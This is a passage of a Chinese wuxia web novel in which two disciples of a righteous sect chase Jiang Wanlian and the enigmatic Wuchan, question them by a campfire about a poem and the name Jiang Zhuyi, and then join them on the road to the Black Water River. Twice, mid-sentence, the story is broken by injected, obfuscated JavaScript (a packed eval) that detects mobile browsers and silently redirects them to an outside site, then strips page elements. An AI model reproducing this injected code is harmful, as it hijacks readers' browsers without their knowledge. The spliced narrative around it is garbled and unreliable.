晨光勉强穿透千穹山厚重的林叶,在潮湿的苔藓上投下斑驳光影。江晚怜觉得自己肺里像是塞了一团浸水的棉花,每一次喘息都伴随着灼痛。 “李、李子遥!哥!我、我真的跑不动了!”她几乎是贴着树干在“蠕动”,声音支离破碎得像是下一秒就要散架。 “咳咳……那、那你别跑啊!”几步开外,李子遥的状况也没好到哪儿去。他单手撑着膝盖,另一只手无力地垂着,那柄向来引以为傲的长剑此刻正可怜地躺在枯叶堆里,剑穗沾满了泥。 ——凌云门新一代最为出色的弟子,居然被一个毫无内力基础的姑娘“遛”得团团转。这要是传回师门,他还有什么脸面自称“凌云门的未来”? “我不跑,难道站着让你砍吗!”江晚怜用尽最后一丝气力喊道,声音在山林间激起微弱回响。 哐当。 这次不是剑落地,而是李子遥整个人瘫坐下去。两人隔着五步之遥,勉强算在安全范围内——虽然此刻他们累得连抬指头的力气都没了,所谓的“威胁”简直像个笑话。 至于这场荒唐的追逐战如何开场……还得从今晨那顿要命的“早餐”说起。 两个时辰前,叶玖靠着追踪术一路寻到两人前往千穹山的方向。师姐弟对视一眼,默契地运起轻功,沿着陡峭山道掠入密林深处。 “师姐,你说无忏最近怎么回事?”李子遥跟在叶玖身后,鹅黄色的崭新衣袍在山风中猎猎作响,“不仅没干什么‘榜首该干的坏事’,还一直往南边跑?” “南边……”叶玖脚尖轻点枝头,身形如燕般转折,“若真的一路向南,目的地只可能是两处——鬼哭岭,或者黑水河。” 李子遥脚下一滑,几片碎叶簌簌落下。 “不会吧?!”他险险稳住身形,“他去那种禁地干什么?!” “不知。”叶玖落地回身,顺手扶了他一把。晨光透过叶隙在她清丽的侧脸上跳跃,却化不开眉间那缕凝重,“但无忏和江姑娘应当就在这一带了。仔细找。” 李子遥特意换了身新制服——自打上次被江晚怜那丫头划破衣袍后,他耿耿于怀了好久,没少跟叶玖念叨“下次见面定要她好看”。 就在这紧张搜寻的当口,一阵格外响亮的“咕噜”声撕裂了林间寂静。 “……师姐,我饿了。” 叶玖回过头,看见自家师弟手里不知何时多了株疑似“千年灵茸”的菌类——色泽温润如玉,伞盖边缘泛着淡金色光泽。但仔细看,菌褶的排列似乎…… “等等!子遥,那不是——!” 晚了。 李子遥已经将那株“灵茸”塞进嘴里,嚼得嘎嘣脆:“咦?口感还不错,挺鲜的……” “……”叶玖闭了闭眼,“那不是千年灵茸。是‘醉云蕈’,一种会暂时压制内力的毒菌。” 为什么不早点说啊!!! 于是,委屈巴巴的李子遥只好蔫头耷脑地跟在师姐身后。没过一炷香,他就感觉身体像是被抽空了棉絮的布偶,软绵绵的使不上劲。 “师姐……这要找到什么时候嘛……”他拖长嗓音,活像只被雨淋湿的小狗,“我不想找了,我想回师门睡回笼觉……” 命运总在人绝望时递来惊喜——或者说,惊吓。 两人刚从一丛茂密的蕨类后探出头,就看见了正对着他们、并肩坐在倒伏枯木上的江晚怜和无忏。江晚怜她还是一副微微倾身、正要凑到无忏耳边说些什么的姿势。 四目相对。 八目相对。 时间凝固了三息。 “走。”无忏率先起身,拉过江晚怜的手腕。 “追!”叶玖也迅速冲出丛中。 “等等啊——!师姐师姐!别丢下我一个人!!!”内力全失的李子遥,只能发出虚弱而无助的哀鸣。 无忏的判断向来果决得近乎残忍。他拉过江晚怜的瞬间,并未沿直线奔逃,而是借着林木掩护猛地折向一侧更陡峭的坡地。叶玖的剑锋划破空气的锐响紧咬其后。 “分开走。” 在又一次急转弯、借山岩遮挡视线的刹那,无忏将江晚怜向一条狭窄兽径轻轻一推。力道控制得精妙——她踉跄了两步,恰好扑入一片藤蔓纠缠的矮丛后。 “下溪谷,找地方藏好。”他的声音低沉短促,“我会找你。” “等等!你一个路痴在林子里怎么——”江晚怜的抗议被掐断在喉咙里。 几乎同时,叶玖清冷的声音追着无忏远去的方向:“子遥,你左!” “啊?哦、哦!”李子遥的声音带着明显的力不从心。脚步声迟疑一瞬,便朝着她消失的方向追来。 江晚怜手脚并用地在陡坡上挪动。耳边是自己粗重的喘息、衣物刮擦树枝的唰唰声,以及身后不远处李子遥时而撞树、时而踩滑的狼狈动静。 “江晚怜!你、你给我站住!我保证不打你……哎哟!” 又是一声闷响,似乎撞得不轻。 江晚怜充耳不闻,只是拼命向下。水声——她凝神细听,在风与林涛的间隙捕捉到了潺潺流水。精神一振,她顾不上荆棘划破裙摆,连滚带爬地朝着那声音扑去。 另一边,无忏在林间穿梭。速度不算极致,却灵巧得令人抓狂。他利用每一处地形转折、每一棵树木掩护,时隐时现,像是在刻意引导,又像是在……观察。 叶玖紧咬其后,心中暗惊。这少年的身法并非出自她所知的任何名门正派,诡谲飘忽得如同林间雾气。几次眼看就要追上,却总被他以毫厘之差避开,反而消耗了自己不少气力。 ——他在有意将她引离江晚怜消失的方向。 “无忏!停下!”叶玖朗声道,剑锋挽出一朵银花,“我们并无立刻诛杀之意,只奉师命问清些事情!” 无忏恍若未闻。反而在一次急停后,突然折返,朝着李子遥追去的方位斜插过去。 叶玖脸色微变。 他想回去接应江晚怜! 足下发力,软剑抖出漫天寒光封住去路:“休想!” 两道身影再次纠缠。剑光与掌风在静谧山林中惊起飞鸟,落叶如雨纷扬。 江晚怜终于跌跌撞撞“滚”到溪边。 这是一条不算宽阔但水流湍急的山涧,乱石嶙峋。她仓皇四顾,发现一处被大石和倒木半掩的浅滩凹洞,勉强能容身。手脚并用地钻进去,背脊贴上冰冷潮湿的石壁,她捂住嘴,连呼吸都放得轻了又轻。 在她藏好的下一秒,李子遥的身影就出现在了溪岸上方。 他扶着膝盖喘得惊天动地,崭新的鹅黄劲装上沾满了草叶泥污,束发松散,额前碎发被汗水黏在脸上——那里还有一道新鲜的红痕,约莫是被树枝刮的。整个人看起来……凄惨得有些滑稽。 “江、江晚怜!你出来!我看见你了!”李子遥虚张声势地喊,目光却在溪流两岸乱扫,显然根本没发现她。 江晚怜屏住呼吸,指尖掐进掌心。 喊了几声无人应答,李子遥自己也累得够呛,干脆一屁股坐在溪边大石上,捶着腿哀叹:“这叫什么事儿啊……师姐那边不知道怎么样了……这毒蘑菇劲也太大了……”他懊恼地抓乱头发,又看了看自己狼狈的样子,想起衣袍被划破的旧怨,顿时气不打一处来,“都怪你!江晚怜!你到底给无忏灌了什么迷魂汤?还有你们此番南行究竟意欲何为?” 像是自言自语,又像是在质问可能躲在某处的她。 等了一会儿,仍无动静。他叹了口气,从怀里摸出水囊仰头灌了几口,目光警惕地四下逡巡。 就在江晚怜以为他快要放弃时—— 李子遥的目光忽然定格在溪流对岸某处。那里,几株野草倒伏的方向,正指向她藏身的乱石区。 “哼,找到你了。”他精神一振,站起身,小心翼翼地踏着溪中凸起的石头朝这边过来。 江晚怜的心跳到了嗓子眼。手指摸向腰间——那里只系着一柄小匕首。冲出去拼了?还是继续装死? 变故,突生! “咻——啪!” 细微破空声后,李子遥脚下一滑,“噗通”栽进溪水,溅起好大一片水花。 “咳咳!谁?什么东西?!”他从及腰深的溪水里狼狈站起,浑身湿透,呛得直咳。抹了把脸,愤怒地看向石子飞来的方向。 斜上方山坡,无忏静静立在凸出的岩石上。手里还掂着另一颗石子,高高束起的黑发沾了几片草叶,配上那张没什么表情的脸,莫名有些……好笑。 叶玖紧随其后赶到,呼吸微乱,发丝同样沾着叶片。她持剑警惕地看向无忏,又皱眉看向成了落汤鸡的师弟。 场面一时安静得诡异,只有溪水哗哗流淌,和湿漉漉的李子遥哆嗦着打喷嚏的声音:“阿、阿嚏——!” 无忏的目光掠过水中狼狈的少年,落向乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069989|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石堆。江晚怜知道藏不住了,只好硬着头皮挪出来。裙摆又破了几处,整个人看起来比李子遥好不到哪里去。 四人隔着溪水,呈三角对峙。 气氛凝重又尴尬,还带着几分难以言喻的荒谬。 叶玖率先打破沉默。她收了软剑,姿态依旧警惕:“我们并无立刻兵戎相见之意。追逐至此,只为问清几件事。”目光扫过瑟瑟发抖、嘴唇已现青紫的李子遥,语气染上急切,“子遥身中菌毒,内力难继,又浸了寒溪……恐伤经脉。” 李子遥一边哆嗦一边帮腔:“对、对!还有……阿嚏!还有江晚怜你上次划破我衣服怎么算!” 江晚怜:“……”这位少年,你能不能看看自己现在的状况再说话? 叶玖目光紧锁无忏那双在晦暗林间更显莫测的眼瞳,提出了一个在她看来近乎冒险的请求:“此地近水阴冷,不利恢复。前方似有背风处。”她指了个方向——那是追击时留意到的一小块干燥空地,“可否……让子遥稍作调息。之后,我等只需问清几个关节,绝不多扰。” 最后一句,她说得清晰而郑重,像是在下某种保证。心脏却因不确定而微微悬起——面对传闻中喜怒无常的“榜首”,这般提议无异于将己方弱点暴露,将主动权拱手相让。 无忏的视线从叶玖写满紧张的脸,移到状态糟糕的李子遥身上,最后落回江晚怜沾着泥污、惊魂未定却强自镇定的脸庞。 林间只有风声、水声,以及李子遥压抑不住的细微颤栗。 就在叶玖认定他会嗤之以鼻时—— 无忏点了下头。 一个字也未说,他转身便朝叶玖所指的方向走去,步履平稳得仿佛只是寻常散步。 这干脆的应允反而让叶玖怔了一瞬。随即她收敛心神,低喝:“子遥,跟上!”快步上前搀扶师弟。 李子遥又冷又虚,倒是没再闹别扭,哆哆嗦嗦地被师姐半扶半拉着跟上。江晚怜也松了口气,小跑着追向无忏的背影。 那是一片不大的林间凹地,几块巨石挡住山风,地面铺着干燥松针。 火折子的微光点燃绒草,橘红火焰跳跃起来,逐渐驱散寒意。叶玖紧绷的神经稍稍松弛,她扶着李子遥在火堆一侧坐下,自己则保持着一个既能照顾师弟、又能随时应对突发的位置。 江晚怜自然地走向火堆另一侧,她原本选了离火堆稍近的位置——恰好在李子遥旁边。两人互相瞪了一眼,但在这诡异的“临时同盟”里,这种直白的瞪视反而显得不那么有压迫感。 她刚屈膝欲坐—— “江晚怜。” 无忏的声音不高,却清晰传来。他坐在火堆另一侧,背靠光滑石头,剑鞘抱怀,那双眼睛直勾勾盯着她。 他极少直接喊她大名……仔细算来,认识至今,似乎单手可数。 “过来。” 简单的两个字,不带情绪,却有种不容置喙的意味。他指的是自己身侧的位置——离叶玖和李子遥最远,完全处于他抬手可及范围内的角落。 江晚怜动作顿住,抬眼看向无忏,火光映着他没什么表情的侧脸,明明灭灭。她又飞快瞟了一眼对面。叶玖正专注地帮李子遥拧衣摆的水,似乎没注意这边;李子遥抱着胳膊盯火苗,依旧在微微发抖。 一种微妙的直觉,或许是源于这一路行来的习惯性依赖,又或许是读懂了那简短话语背后未言明的防护姿态——在两名目的不明、立场相对的“追兵”面前,他划定了她的安全区。 江晚怜没再犹豫。起身,默默走到无忏身边,挨着他坐下。距离不远不近,恰好能感受到从他那边传来的、比火焰更沉静的存在感。 叶玖用眼角余光将这一幕尽收眼底,心中疑窦更深。无忏对江晚怜这种近乎本能的维护,究竟缘何?她手下动作不停,迅速帮师弟处理湿衣,心中飞快盘算。 火焰带来的暖意逐渐弥漫。李子遥脸色好转了些,虽仍萎靡,至少不再打颤。他偷偷瞄了一眼对面——江晚怜乖乖坐在无忏旁边,两人之间流淌着一种难以言喻的、外人难以插足的默契静默。 火光在四人脸上跳跃,投下摇曳阴影。 “现在,”无忏将带着剑鞘的剑重重撑在地上,发出一声响声,而他的话音清晰传入每个人耳中,“可以问了。” 空气中,只有柴火噼啪作响,以及那无声弥漫开来的、近乎绝对的—— 零度气息。 59. 等待进入网审 叶玖凝视着无忏在火光中明暗交错的侧脸,决定暂时绕开师尊那道针对两人的、近乎冷酷的命令,转而从旁敲击。她心知肚明,眼前这少年绝非能轻易撬开牙关的类型。他为何执意带着江晚怜同行?江家灭门的真相又究竟如何?这些问题,此刻强求答案只会适得其反。 “我留意到你们一路南行,”她斟酌着措辞,目光沉静如深潭,语气却带着不容敷衍的探究,“最终的目的地……是哪里?” “黑水河。”无忏的回答没有半分迟疑。 江晚怜呼吸一滞,突然觉得一滴冷汗正顺着自己的脊背悄然滑落。他、他就这么直接说了?!对面坐着的,可是身负主角气运、未来要站在正道巅峰的叶玖和李子遥啊!这种坦诚,究竟是出于绝对的实力自信,还是某种更深层的、她尚不能理解的盘算? “黑水河……”叶玖的眉头深深皱起,指尖轻轻摩挲着剑柄上冰凉的纹路,“为何要去那里?据我所知,你并非会做毫无把握、徒劳涉险之人。” “与你何干?”无忏的语调还是那般无情,可那双异色眼瞳在跃动火光的映照下,似有极细微地流转过一丝暗芒,如同深水之下掠过的幽影,“你又凭什么断定,我‘没有把握’?” 江晚怜在一旁看得分明,心头一跳:这大佬……是对自己的实力有多恐怖的自信啊! “你!”李子遥见师姐被如此顶撞,连身体的虚弱不适都暂且忘了,挣直了身子,声音因激动而有些发颤,“你这邪魔外道!我们不过是奉师尊之命才暂且留你们性命!你竟敢如此——” 话未说完,便被一阵撕心裂肺的咳嗽打断,他弓起身子,脸上刚刚恢复的一点血色又迅速褪去。 “子遥!”叶玖立刻回身,手掌带着温和的内力轻拍他的后背,语气里交织着责备与难以掩饰的关切,“凝神,缓息。” 江晚怜默默坐在无忏身侧,看着这一幕,突然想起漫画里那些经典分镜——冲动热血、总是需要师姐收拾烂摊子的师弟,与沉稳可靠、永远挡在前面的师姐。心里暗暗啧了一声:果然是王道配置。 叶玖再度转向无忏时,已将眼底的忧色妥帖收起。无忏依旧是一副万事不萦于怀的漠然样子,仿佛刚才那近乎挑衅的回答再平常不过。 “那么,我便来猜猜看。”叶玖的神色比方才更加肃穆,眼神锐利如出鞘后凝而不发的剑锋,直指核心,“你要渡河?” “是。” “河对岸有你要找的东西?” “是。” “那东西……”叶玖的视线缓缓移向从刚才起就保持沉默、努力降低存在感的江晚怜,话语一字一顿,清晰得敲打在每个人的耳膜上,“与你有关,还是——与江姑娘有关?” 火堆旁忽然陷入了短暂的沉寂。 柴火噼啪爆开一粒火星,在空中划过转瞬即逝的弧线。 无忏没有立刻回答。 这一瞬的沉默,不知是默认了其中一种可能,还是意味着——两者皆是。 叶玖见他久不答话,心中虽无法确定具体是哪一种,却也明白自己大抵猜中了七八分。黑水河凶名赫赫,对岸更是江湖传闻中的绝域,若无必须达成的目的,谁会轻易涉足?而这目的,竟与江晚怜有关联……这其中的纠葛,恐怕比她想象的更深。 江晚怜的目光在两人之间悄悄逡巡。他们在打什么哑谜?怎么忽然就扯到自己身上了?黑水河对岸的东西……跟她能有什么关系?她脑海中一片茫然,只有隐约的不安像水底蔓草般悄然滋生。 “还有话?”无忏开口,打破了短暂的凝滞,语气听不出不耐,却也没有丝毫温度。 “最后一个。”叶玖颔首,声音清晰,带着某种下定决心的意味,“关于一句诗。” “诗?”江晚怜立刻想起忘尘客栈里那个醉酒老头颠三倒四的呓语——“长堤柳色入笙歌,临堤鸢影破春初”。当时只觉莫名,如今听叶玖提起…… “不错,是诗。”叶玖看了江晚怜一眼,那目光深邃,似在确认她的反应,随后稳稳转回无忏,“‘长堤柳色入笙歌,临堤鸢影破春初,江风渡岸逐义寻。’——关于这句诗,你知道多少?” 江晚怜的眼睛倏然睁大,脱口而出:“这……这居然还有第三句?!”她一直以为那醉酒老头念叨的前两句已是全部,这突然冒出的第三句,是从何处来的?又藏着什么信息? 无忏蹙了下眉,那细微的表情变化快得几乎让人以为是火光跳跃造成的错觉:“不知。” “当真?” “信与不信,在你。” 但江晚怜心里清楚,他并非全然不知,只是所知有限——大约,二十五分?或许更少。她与他同行这段日子,知道他对某些陈年旧事的了解如同破碎的镜片,只有零星映照,难以拼凑全貌。 眼看气氛再度绷紧,空气仿佛都变得稀薄,江晚怜生怕下一刻便剑拔弩张,连忙插话,声音带着她自己都未察觉的急切:“叶姐姐,他真的不清楚!在你提起之前,我们也只偶然听过前两句而已。” “你从何处听来?” “渡……” “渡恶镇!一个疯子说的。”李子遥抢过话头,语气仍带着不满,更有一股委屈——师姐为了师尊交代的任务,竟不惜花费银钱,耐着性子向一个浑身脏污、疯疯癫癫的乞丐打听消息!“那疯子整日胡言乱语,真真假假,谁能分辨?师姐也是病急乱投医……” “他说了什么?”江晚怜忍不住追问,身体不自觉地前倾了些。 “哈?你竟对这个感兴趣?”李子遥嗤了一声,大约是身体不适加上心情烦躁,话也说得冲,“说什么‘天道三十九年,天下大乱,天灾频仍。有一个人,带着一位修行者,还有一位奇女子,三人义结金兰。’后来这三人不知为何分道扬镳,又扯什么‘大义’、‘天下太平’,还往我们这些名门正派身上泼脏水!说什么正道不仁,逼走忠良……也不知是从哪个话本里听来的荒唐故事,胡乱编排!” 江晚怜脸上的好奇之色骤然凝固,仿佛被冰水浇透。 这……并非编造啊! 她脑中飞快掠过漫画中那些被寥寥数笔带过、却总让她觉得意蕴深长的边角线索:“昔年江湖,有三杰并立,一侠一仙一奇工。侠者仁心济世,仙者一身正气,奇工妙手通幽。三人结义,纵横四海,为解救天下苍生之苦而奔走……” 再联想到之前说书人口中、枫掌柜只言片语里提及的,关于北地神秘傀儡师“鸢”与一位修行者之间的往事……那些模糊的碎片,此刻被“义结金兰”、“分道扬镳”、“大义”这些词骤然串联起来! 她心中剧震,指尖微微发凉——这三句看似风雅的诗,竟真的与这段尘封的江湖旧事紧密相连!而且关系匪浅! 叶玖点了点头,火光在她清丽的脸上投下柔和的阴影,却也让她眼中的神色显得更加复杂。她轻声补充,声音不高,却字字清晰,落在寂静的林中格外分明:“据那位……兄台所言,故事中那位牵头结义、后来也似乎因他之故导致三人离散的核心之人,名叫——” 她停顿了一瞬,目光扫过江晚怜骤然苍白的面容,缓缓吐出三个字: “江逐义。” 咔嚓。 江晚怜仿佛听到自己脑海中某根弦骤然绷断的轻响。 江、逐、义。 姓江。 诗里那句“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069990|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江风渡岸逐义寻”…… 所有的线索,所有的碎片,在这一刻被这个名字粗暴地串联起来,指向一个让她浑身发冷的方向。 她猛地转头看向身旁的无忏,无忏依旧倚靠着石头,似乎对外界的对话漠不关心。但江晚怜离得近,近到能看清他睫毛在火光中投下的细小阴影几不可查地颤动了一下;能感觉到他抱着剑鞘的手臂,肌肉有刹那的僵硬,虽然很快便恢复了那副松驰的姿态。 他听得清清楚楚,而且……这个名字,他绝非第一次听到。 叶玖将两人的反应尽收眼底。江晚怜的震惊与恍然不似作伪,而无忏那细微到极致的身体语言变化,更让她确信,这句诗、这个名字,就是撬开眼前迷雾的一把关键钥匙。只是这钥匙背后锁着的,恐怕是远超她预料的、沉重而危险的真相。 李子遥带着明显嘲讽着无忏,那句“哟?看你这反应,你知道什么?”刚脱口而出,尾音还在林间微湿的空气里打着旋儿—— “咚。” 一声不轻不闷的敲击声,干脆利落。 叶玖收回了手,指节上还残留着敲在自家师弟那颗毛茸茸脑袋上的触感。她面上依旧平静无波,甚至带着惯有的清冷,只是那双眼里飞快掠过一丝“怎么又来了”的无奈,以及更深处的“形势比人强,你就少说两句吧”的告诫。 李子遥“嗷”地一声捂住头顶,扭过头,委屈又难以置信地瞪着自家师姐:“师姐!你打我?!” “打的就是你这不分场合、口无遮拦的毛病。”叶玖声音不高,却自有一股不容置疑的威仪。她甚至好整以暇地活动了一下刚才“行凶”的手腕,然后转向无忏,“劣徒总这般心直口快,多有冒犯,还请见谅。” 江晚怜在一旁看得眼睛微微睁大,心里那句吐槽几乎要脱口而出:呃……原来漫画里那“无原则宠溺师弟的温柔师姐”形象,掺了不少水分啊!这位叶姐姐,该出手时……敲脑袋也是毫不含糊的。 不过,想想也是。凌云门年轻一辈的佼佼者,未来执掌一方的角色,怎么可能真是个一味惯着师弟、毫无原则的烂好人。该有的管教和分寸,看来一点没少。 无忏对这场小小的插曲倒全然不在意,叶玖的致歉于他而言,只是掠过耳畔的一缕微风。直到李子遥揉着脑袋,不甘心地咕哝着消停下去,林间重新被柴火燃烧的细微噼啪声和远处溪流的潺潺声填满,他才缓缓开口。 “以前零星听过些传闻罢了,论不上‘知道’。” “那些描述,与你们这种人相同——‘心系苍生’、‘胸怀大义’……诸如此类,总归是占全了的。”他的语调没有丝毫褒贬,可恰恰是这份过于的平静,反而让那几个被世人赋予崇高意义的词语——“苍生”、“大义”透出一股难以言喻的疏离感,甚至……一丝极淡的倦怠。 这些承载了无数人热血与理想的词汇,于他而言,不过是史册上几行干瘪的记载,或是说书人口中重复了千百遍的、早已失去原有温度的套路。 叶玖敏锐地捕捉到了那平淡语气下潜藏的暗流。那不是简单的不知情,更像是一种……刻意保持的距离,一种对既定叙事的漠然审视。他并非否定那些“大义”与“苍生”的存在,却似乎对其被赋予的绝对正确性与光辉色彩,抱有一种近乎本能的保留态度。 这与她从小接受的教诲,与师门乃至整个正道武林所推崇的价值,隐隐有种难以调和的错位感。 时间慢慢流逝过去,火也渐渐小了。叶玖知道,今日能撬出的信息,恐怕到此为止了。再追问下去,不仅徒劳,更可能打破这来之不易的“和平”共处。她看了一眼那两个“行走的金元宝”心中疑虑的雪球却越滚越大。 60. 同行 火光渐渐黯淡下去,只余下暗红的炭火在清晨微凉的空气中明明灭灭。林间起了薄雾,像一层半透明的纱,萦绕在树木与岩石之间。鸟鸣声零星响起,清脆却带着山野清晨特有的孤寂。 叶玖将最后一根细枝添入火堆,看着它腾起一小簇短暂的火苗,然后化为青烟。她抬起眼,目光平静地扫过对面——无忏依旧保持着抱剑倚石的姿势,仿佛一整夜都未曾移动过分毫;江晚怜裹着那件已经破了好几处、沾满泥污的外衣,蜷在离无忏不远不近的地方,睡得似乎并不安稳,睫毛不时颤动;而自家师弟李子遥,倒是心大地裹着半干的衣服,靠在另一块石头上,睡得正沉,甚至发出了细微的鼾声。 是该做出决定的时候了。 叶玖整理了一下衣襟,尽管经过一夜休整和运功调理,她的内力已恢复大半,衣衫也整洁如初,但眉宇间那抹凝重却未曾散去。师尊的命令言犹在耳,黑水河的凶名如雷贯耳,而无忏与江晚怜身上缠绕的谜团,更是让她无法就此转身离去。 她清了清嗓子,声音不大,却足够将还未完全清醒的几人唤醒。 “无忏,江姑娘。” 江晚怜一个激灵,猛地睁开眼睛,有些茫然地看向声音来源。无忏则是缓缓掀开眼帘,那双异色瞳孔在晨雾微光中,显得格外清冷疏离。 李子遥也被吵醒了,揉着眼睛不满地嘟囔:“师姐……天还没大亮呢……” 叶玖无视了师弟的抱怨,目光直视无忏,语气平和却不容置疑:“师尊之命,是让我查清江姑娘的身世,同时让我查清二位牵连。”她特意加重了最后四个字,“昨夜一番交谈,虽未得全貌,却也让我明白,二位此行黑水河,所图非小,且牵扯甚广。” 她停顿片刻,似在斟酌词句,也似在观察无忏的反应。无忏只是静静地看着她,脸上没有任何表情,仿佛她只是在陈述一件与他无关的事情。 “黑水河凶险异常,对岸更是绝域。”叶玖继续道,声音多了几分肃然,“无论二位所寻何物,所为何事,以目前情势观之,恐非易与。况且——”她的目光转向还有些懵懂的江晚怜,“江姑娘并无自保之力。” 江晚怜下意识地想反驳,可张了张嘴,却发现无从驳起。她确实……很菜。连夜跑个山路都能累瘫的那种。 “所以,”叶玖终于说出了核心提议,语气斩钉截铁,“在二位抵达黑水河、完成目的之前,我与子遥,将与二位同行。” “什么?!”李子遥彻底醒了,几乎是从地上弹起来,瞪大眼睛看着自家师姐,“师姐!你要跟这两个……跟他们一起走?还要去黑水河?!!师尊之令我们查清,没说赴死啊!” “正是为了‘查清’。”叶玖淡淡地瞥了师弟一眼,那眼神里的意味很明显——闭嘴,听我的。“若不亲眼所见,如何回禀?若他们真在禁地做出危害苍生之事,我们也好及时阻止。” 这话说得冠冕堂皇,既抬出了师命和苍生大义,又隐含监视与防范之意。江晚怜在心里默默翻译:说白了就是要盯紧我们,看看我们到底要搞什么鬼,顺便防止大佬你突然发疯干出什么惊天动地,或者丧尽天良的坏事。 她悄悄看向无忏。这位被“监视”的正主,会是什么反应?暴怒?冷笑?直接动手? 无忏的反应,平淡得让人有点……泄气。 他甚至没有站起身,只是稍微调整了一下倚靠的姿势,让晨光能更多地落在他没什么表情的脸上。然后,他开口了,声音带着一夜未语的微哑,语调却依旧是那种能气死人的平静: “随你。” 就两个字。 连个眼神都懒得再多给,仿佛叶玖刚才那段义正辞严的宣言,不过是林间一只鸟雀的啁啾,入耳便散,不值一提。 李子遥被这态度噎得够呛,指着无忏:“你、你什么态度!” 无忏这才慢悠悠地掀了掀眼皮,目光掠过跳脚的李子遥,落回叶玖脸上,嘴角似乎极其轻微地扯动了一下,像是在笑,又像是在嘲讽: “多两个人,”他顿了顿,意有所指地看了一眼还在愤愤不平的李子遥,“能替我挡几次伤,也算有点用处。” 江晚怜:“……”大佬,你这话说的,是同意他们跟着,还是已经把他们划入“备用诱饵”或者“临时肉盾”的范畴了啊喂!而且专门点李子遥是几个意思!虽然他现在内力没恢复看起来确实最像“饵料”…… 李子遥气得脸都红了:“你说谁挡伤?!谁没用了?!等我内力恢复——” “子遥。”叶玖打断了师弟即将开始的滔滔不绝,她脸上看不出喜怒,只是对无忏微微颔首,“如此,便多谢榜首允诺同行了。”她自动过滤了那句嘲讽,直接将之理解为“同意”——虽然这同意的方式实在够呛。 “师姐!”李子遥哀嚎,“你真要……” “收拾东西。”叶玖的语气不容反驳,“此地离黑水河尚有数日路程,不宜耽搁。” 李子遥垮下肩膀,像只被雨水淋湿的大狗,满脸都写着“不情愿”三个大字。但他显然不敢违逆师姐的决定,只能一边磨磨蹭蹭地收拾自己那还没完全干透的包裹,一边用眼神凌迟对面那两个“罪魁祸首”。 江晚怜也默默站起身,拍了拍身上的草屑和尘土。她心情有点复杂。一方面,有叶玖和李子遥这两个“正道之光”同行,安全感似乎是提升了一点——好歹叶玖看起来讲道理,而且实力靠谱,再不济有“主角光环”。但另一方面,这无异于身边多了两个移动监视器,还是师出名门、背负任务的那种。 而且,两个反派……要和两个正派同行……感觉随时可能剑拔弩张,这也让人头皮发麻。 她偷偷瞄了一眼无忏。大佬你就这么答应了?真不怕他们坏事?还是说你根本就没把他们放在眼里?要不要这么自信啊?! 无忏已经站了起来,动作利落地用脚将残余的炭火碾灭,又随手扬了些泥土覆盖。晨光透过林间薄雾,勾勒出他挺拔却略显单薄的背影,那高高束起的马尾随着动作轻晃,发梢还沾着一点昨夜的露水。 “走了。”他没回头,只丢下两个字,便朝着昨日既定的方向迈步。 “哎!等等!”江晚怜赶紧小跑着跟上。 叶玖也立刻提起剑,拉了还在闹别扭的李子遥一把:“跟上。” 于是,在这千穹山清晨湿漉漉的雾气中,一支画风清奇、气氛诡异的四人小队,正式成型了。 山路越发崎岖难行。昨夜一场小雨,让本就湿滑的林间小道更是泥泞不堪。参天古木的枝叶遮天蔽日,只有零星的光斑艰难地穿透下来,在地面积水和苔藓上投下晃动的碎金。 无忏走在最前面,他的步伐并不快,却异常稳当,仿佛脚下不是湿滑的泥路,而是平坦的石板。江晚怜跟在他身后不远处,努力盯着他的脚印下脚,却还是时不时趔趄一下,需要抓住旁边的树枝才能稳住身形——然后往往沾一手冰凉的露水或滑腻的苔藓。 叶玖走在第三位,姿态从容,步履轻盈,显露出扎实的轻功底子。她不仅要留意前路,还要不时回头照应自家那个因为内力未复而走得跌跌撞撞、骂骂咧咧的师弟。 “这什么破路……滑死了……哎哟!”李子遥又一次差点滑倒,险险抓住一棵小树,愤愤地踢开脚边一块松动的石头,“那家伙肯定是故意的!专挑这种难走的路!” 走在前面的无忏头也没回,声音顺着山风飘过来,淡淡的:“正道弟子,连山路都走不利索?” “你——!”李子遥气结。 江晚怜忍不住在心里吐槽:来了来了,大佬的日常嘲讽虽迟但到。不过……她悄悄回头看了一眼气喘吁吁、狼狈不堪的李子遥。这位少侠,你现在这样子,确实没什么说服力啊。 “子遥,专心看路,保存体力。”叶玖的声音传来,平静无波,但江晚怜总觉得那里面藏着一丝无奈。 “哦……”李子遥扁了扁嘴,老实了些,但嘴里还在小声嘀咕,“等我恢复内力,非让你见识见识凌云门的厉害……” 中午时分,他们在一处相对干燥、有溪水流过的林间空地暂作休息。叶玖从随身包裹里取出干粮——硬邦邦的炊饼和肉干,分给众人。无忏没接,只是走到溪边,掬水喝了几口,然后靠在一棵树干上闭目养神。 江晚怜接过炊饼,道了声谢,小口小口地啃着。味道实在不敢恭维,又干又硬,但她确实饿了。李子遥则是一边啃,一边继续用眼神表达对当前处境的不满,尤其是在看到无忏那份“不食人间烟火”的姿态后。 “喂,你不吃?”李子遥最终还是没忍住,冲着无忏的方向扬了扬下巴,“装什么装,饿晕了可没人背你。” “下毒了?” “你!”李子遥差点被噎到,“我们凌云门弟子,行的端坐的正,谁会干那种下作事?!” “哦。”无忏终于睁开眼,瞥了他一眼,那眼神像是在说“谁知道呢”,然后又闭上了。 